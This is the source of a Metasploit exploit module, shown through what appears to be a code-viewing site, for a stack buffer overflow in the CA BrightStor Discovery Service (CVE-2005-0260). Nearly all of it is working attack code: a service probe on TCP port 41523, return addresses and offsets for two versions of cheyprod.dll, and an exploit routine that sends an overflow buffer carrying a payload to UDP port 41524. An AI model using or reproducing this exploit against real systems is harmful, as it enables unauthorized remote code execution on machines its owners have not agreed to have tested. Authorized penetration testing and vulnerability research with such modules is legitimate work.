Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/discovery_udp.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',14'Description' => %q{15This module exploits a vulnerability in the CA BrightStor16Discovery Service. This vulnerability occurs when a large17request is sent to UDP port 41524, triggering a stack buffer18overflow.19},20'Author' => [ 'hdm', 'aushack' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2005-0260'],25[ 'OSVDB', '13613'],26[ 'BID', '12491'],27[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],28],29'Privileged' => true,30'Payload' =>31{32'Space' => 2048,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => %w{ win },37'Targets' =>38[39[40'cheyprod.dll 12/12/2003',41{42'Platform' => 'win',43'Ret' => 0x23808eb0, # call to edi reg44'Offset' => 968,45},46],47[48'cheyprod.dll 07/21/2004',49{50'Platform' => 'win',51'Ret' => 0x2380a908, # call edi52'Offset' => 970,53},54],55],56'DisclosureDate' => '2004-12-20',57'DefaultTarget' => 0))5859register_options(60[61Opt::RPORT(41524)62])63end6465def check6667# The first request should have no reply68csock = Rex::Socket::Tcp.create(69'PeerHost' => datastore['RHOST'],70'PeerPort' => 41523,71'Context' =>72{73'Msf' => framework,74'MsfExploit' => self,75})7677csock.put('META')78x = csock.get_once(-1, 3)79csock.close8081# The second request should be replied with the host name82csock = Rex::Socket::Tcp.create(83'PeerHost' => datastore['RHOST'],84'PeerPort' => 41523,85'Context' =>86{87'Msf' => framework,88'MsfExploit' => self,89})9091csock.put('hMETA')92y = csock.get_once(-1, 3)93csock.close9495if (y and not x)96return Exploit::CheckCode::Detected97end98return Exploit::CheckCode::Safe99end100101def exploit102connect_udp103104print_status("Trying target #{target.name}...")105106buf = rand_text_english(4096)107108# Target 0:109#110# esp @ 971111# ret @ 968112# edi @ 1046113# end = 4092114115buf[target['Offset'], 4] = [ target.ret ].pack('V')116buf[1046, payload.encoded.length] = payload.encoded117118udp_sock.put(buf)119udp_sock.recvfrom(8192)120121handler122disconnect_udp123end124end125126127